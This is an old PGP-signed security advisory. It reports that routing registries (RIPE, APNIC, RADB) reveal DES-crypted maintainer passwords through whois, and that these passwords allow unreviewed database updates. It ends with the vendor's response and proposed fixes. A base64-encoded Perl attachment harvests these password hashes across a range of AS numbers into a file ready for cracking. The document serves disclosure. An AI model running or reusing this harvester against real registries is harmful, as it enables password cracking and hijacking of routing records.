-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1



Hi,



I found the following potential issues in the top-level routing

registries:





DISCLAIMER

- ----------



Raju Mathur is not responsible for the misuse of any of the

information and/or program(s) present in this message.  The message

and program(s) are provided as a service to the Internet community.

Raju Mathur is not liable for any damages, direct or indirect, caused

by the information or program(s) present in this advisory.



BACKGROUND

- ----------



The Routing Registries maintain databases of all routing information

including Autonomous System Numbers and IN.ADDR-ARPA reverse lookups.

The registries display DES-encrypted passwords to the general public,

and the database update process is prone to being cracked.



VENDOR CONTACT

- --------------



Contacted RIPE, APNIC and RADB on 25 November, 2000.  Responses

indicate that the database format and information revealed were

decided by the community and cannot be changed until the community as

a whole votes to change them.  I have a copy of the complete

correspondence if anyone's interested.



UPDATE PROCESS

- --------------



If you are a maintainer for an AS or an IN-ADDR.ARPA domain, you can

use any of the following methods to update information about your

records (this is from my personal understanding, there could be minor

differences between different registries):



1. NONE.  You send updates by e-mail or through a web form to the

registry, which are reviewed by the hostmaster and applied if they are

syntatically and semantically OK.



2. MAIL-FROM.  You send updates by e-mail or through the web form to

the registry, which makes syntax and semantic checks and contacts you

on your registered e-mail address.  Once you reply in the affirmative,

the updates are applied.



3. CRYPT-PW.  The web forms allow you to apply semantically correct

updates immediately if you choose CRYPT-PW as your authentication

method.  You only need your password to change the database.  There is

no human review of the update.



4. PGP.  You send a PGP-signed message to the hostmaster, who verifies

that the signature is correct, makes syntax and semantic checks and

updates the database.



ISSUES

- ------



I'm not going to go into problems associated with MAIL-FROM and NONE

authentication methods since (a) they have already been thrashed out

in the context of the domain registries and (b) they require human

intervention at some point.  PGP also seems quite safe (as safe as

using PGP is).



The CRYPT-PW method of update is of interest here.  Essentially anyone

who manages to get hold of your plaintext CRYPT-PW (which uses DES as

the encryption method) can masquerade as you and make changes to the

databases without any other human intervention at all.  This can lead

to serious security and network outage issues in the short term.  So

far I thought that long-term implications were minimal since the

original maintainer would be notified about rogue changes, but I'm not

too sure about what happens if you change the maintainers contact

address also.



The problem is that the registries are constrained by their users to

reveal the CRYPT'ed password to the general public through a simple

whois mechanism.  Doing a whois on the maintainer object in a registry

reveals the CRYPT'ed password if s/he has one, after which there are

any number of tools which would permit you to attempt to crack or

brute-force the password.



EXPLOIT

- -------



Not really an exploit, but the attached Perl script (which has been

tested on Linux with fwhois) will help you to extract DES-encrypted

passwords from maintainer objects related to a range of Autonomous

System Numbers (ASN's) and put them into a Unix-style password file

which can be fed to Crack & co. for further ``processing''.



Run it as:



    who.pl output-file APNIC|RIPE start-asn end-asn



where output-file will be the file with the Unix-style passwd

information including the encrypted password, APNIC or RIPE are which

registry you wish to glean passwords from (it's trivial to modify the

program to glean passwords from RADB) and start- and end-asn's define

the block of AS numbers whose maintainer objects you are trying to to

extract passwords from.



SOLUTIONS

- ---------



Solutions exist at a number of levels:



1. Personal.  Do not use CRYPT-PW as your authentication mechanism if

you are a maintainer.  All the registries recommend the use of PGP and

will help you get started with PGP if you need that.



2. Community.  Take a decision not to display the authentication

mechanism to the general public, especially the encrypted passwords.

It should be trivial to change the whois server code to conceal the

passwords.



3. Registry.  Encourage all your users to switch to a more secure

method of sending updates.  Define a date by which all users must

switch.  Remove the ``NONE'' authentication method altogether.  For

MAIL-FROM use unique, random identifiers for each request which must

be present in the update confirmation message.



Regards,



- -- Raju



- --[[application/octet-stream

Content-Disposition: attachment; filename="who.pl"][base64]]

IyEvdXNyL2Jpbi9wZXJsIC13CiMKIyBCcnV0ZSBmb3JjZSBjcmVhdGUgYSAvZXRjL3Bhc3N3

ZC1saWtlIGZpbGUgd2l0aCBERVMtZW5jcnlwdGVkIHBhc3N3b3JkcwojIGZyb20gZHVtYiB3

aG9pcyBsb29rdXBzIG9uIFJJUEUgYW5kIEFQTklDLiAgQ2FuIGJlIGVhc2lseSBtb2RpZmll

ZAojIHRvIGhhbmRsZSBSQURCIHRvby4gIE9uY2UgdGhlIGZpbGUgaXMgY3JlYXRlZCwgcnVu

IENyYWNrIChvciB5b3VyIGZhdm91cml0ZQojIERFUy1jcmFjayBwcm9ncmFtKSBvbiBpdCBh

bmQgY3JlYXRlIHNvbWUgaGVhZGFjaGUgZm9yIHRoZSBgYEludGVybmV0CiMgY29tbXVuaXR5

Jycgd2hpY2ggaGFzIGRlY2lkZWQgdG8gcmV2ZWFsIERFUy1lbmNvZGVkIHBhc3N3b3JkcyBh

cyBwYXJ0CiMgb2YgYSB3aG9pcyBsb29rdXAgb24gYSBtYWludGFpbmVyIG9iamVjdC4KIwoj

IENvcHlyaWdodCAyMDAwLCBSYWp1IE1hdGh1ciA8cmFqdUBsaW51eC1kZWxoaS5vcmc+LCA8

cmFqdUBrYW5kYWxheWEub3JnPgojCiMgVGhpcyBwcm9ncmFtIGlzIGF2YWlsYWJsZSB1bmRl

ciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiMKdXNlIHN0

cmljdCA7CiMKIyBDdXJyZW50bHkgd2lsbCB3b3JrIG9uIFJJUEUgYW5kIEFQTklDCiMKbXkK

ICAkY291bnQgPSAwIDsKbXkKICAkb3V0ZmlsZSA9IHNoaWZ0IDsKbXkKICAkcmVnaXN0cnkg

PSBzaGlmdCA7CmlmICggIWRlZmluZWQgJG91dGZpbGUgfHwgIWRlZmluZWQgJHJlZ2lzdHJ5

CiAgICAgfHwgJHJlZ2lzdHJ5ICF+IC9hcG5pYy9pICYmICRyZWdpc3RyeSAhfiAvcmlwZS9p

ICkKewogIHByaW50IFNUREVSUiAidXNhZ2U6ICQwIG91dHB1dC1maWxlIEFQTklDfFJJUEUg

W3N0YXJ0IEFTXSBbZW5kIEFTXVxuIiA7CiAgZXhpdCAxIDsKfQpvcGVuIE9VVCAsICI+JG91

dGZpbGUiCiAgb3IgZGllICJDYW5ub3Qgd3JpdGUgdG8gJG91dGZpbGU6ICQhXG4iIDsKbXkK

ICAkc3RhcnRhcyA9IHNoaWZ0IDsKJHN0YXJ0YXMgPSAxCiAgaWYgIWRlZmluZWQgJHN0YXJ0

YXMgOwpteQogICRlbmRhcyA9IHNoaWZ0IDsKJGVuZGFzID0gMTIwMDAKICBpZiAhZGVmaW5l

ZCAkZW5kYXMgOwpteQogICRzZXJ2ZXIgPSAid2hvaXMuYXBuaWMubmV0IiA7CiRzZXJ2ZXIg

PSAid2hvaXMucmlwZS5uZXQiCiAgaWYgJHJlZ2lzdHJ5ID1+IC9yaXBlL2kgOwpteQogICRt

YWludGFpbmVyIDsKbXkKICAkZGVzY3IgOwpteQogICRub3RpZnkgOwpteQogICRhdXRoIDsK

bXkKICAkcGFzc3dkIDsKZm9yZWFjaCBteSAkaSAoICRzdGFydGFzLi4kZW5kYXMgKQp7CiAg

cHJpbnQgIioqKiBBUyRpXG4iIDsKICBvcGVuIFdIT0lTICwgIndob2lzIEFTJGlcQCRzZXJ2

ZXJ8IgogICAgb3IgZGllICJDYW5ub3Qgd2hvaXMgQVMkaTogJCFcbiIgOwogIHdoaWxlICgg

PFdIT0lTPiApCiAgewogICAgaWYgKCAvXm1udC1ieTpccyooLiopLyApCiAgICB7CiAgICAg

ICRtYWludGFpbmVyID0gJDEgOwogICAgICBsYXN0IDsKICAgIH0KICB9CiAgY2xvc2UgV0hP

SVMgOwogIG5leHQKICAgIGlmICEkbWFpbnRhaW5lciA7CiAgcHJpbnQgIioqKiAkbWFpbnRh

aW5lclxuIiA7CiAgb3BlbiBXSE9JUyAsICJ3aG9pcyAkbWFpbnRhaW5lclxAJHNlcnZlcnwi

CiAgICBvciBkaWUgIkNhbm5vdCB3aG9pcyAkbWFpbnRhaW5lcjogJCFcbiIgOwogICRkZXNj

ciA9ICIiIDsKICB3aGlsZSAoIDxXSE9JUz4gKQogIHsKICAgIGlmICggJF8gPX4gL15kZXNj

cjpccyooLiopLyApCiAgICB7CiAgICAgICRkZXNjciAuPSAiJDEsICIgOwogICAgfQogICAg

aWYgKCAkXyA9fiAvXm1udC1uZnk6XHMqKC4qKS8gKQogICAgewogICAgICAkbm90aWZ5ID0g

JDEgOwogICAgfQogICAgaWYgKCAkXyA9fiAvXmF1dGg6XHMqKC4qKS8gKQogICAgewogICAg

ICAkYXV0aCA9ICQxIDsKICAgIH0KICAgIGxhc3QgaWYgJGF1dGggJiYgJGF1dGggPX4gL2Ny

eXB0LXB3L2kgOwogIH0KICBuZXh0CiAgICBpZiAhJGF1dGggfHwgJGF1dGggIX4gL2NyeXB0

LXB3L2kgOwpwcmludCAiKioqIDwkZGVzY3I+IDwkbm90aWZ5PiA8JGF1dGg+XG4iIDsKICBj

bG9zZSBXSE9JUyA7CiAgJGF1dGggPX4gLy4qY3J5cHQtcHdccyooLiopL2kgOwogICRwYXNz

d2QgPSAkMSA7CiAgJGRlc2NyID1+IHMvW1xuOl0vL2cgOwogICRub3RpZnkgPX4gcy86Ly9n

IDsKICBwcmludCBPVVQgIiRtYWludGFpbmVyOiRwYXNzd2Q6NDI6NDI6JGRlc2NyOi9kZXYv

bnVsbDovYmluL3NoXG4iIDsKICAkYXV0aCA9ICIiIDsKICAkY291bnQrKyA7Cn0KY2xvc2Ug

T1VUIDsKcHJpbnQgIiRjb3VudCByZWNvcmRzXG4iIDsK

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.0.1 (GNU/Linux)

Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>



iEYEARECAAYFAjotvCEACgkQyWjQ78xo0X94dACfcsDJ3l0Bmcyx1lsLJiTGBR1P

Y64An3DG7QZV0wsFlzArEDiUOQJdQEt7

=kjtc

-----END PGP SIGNATURE-----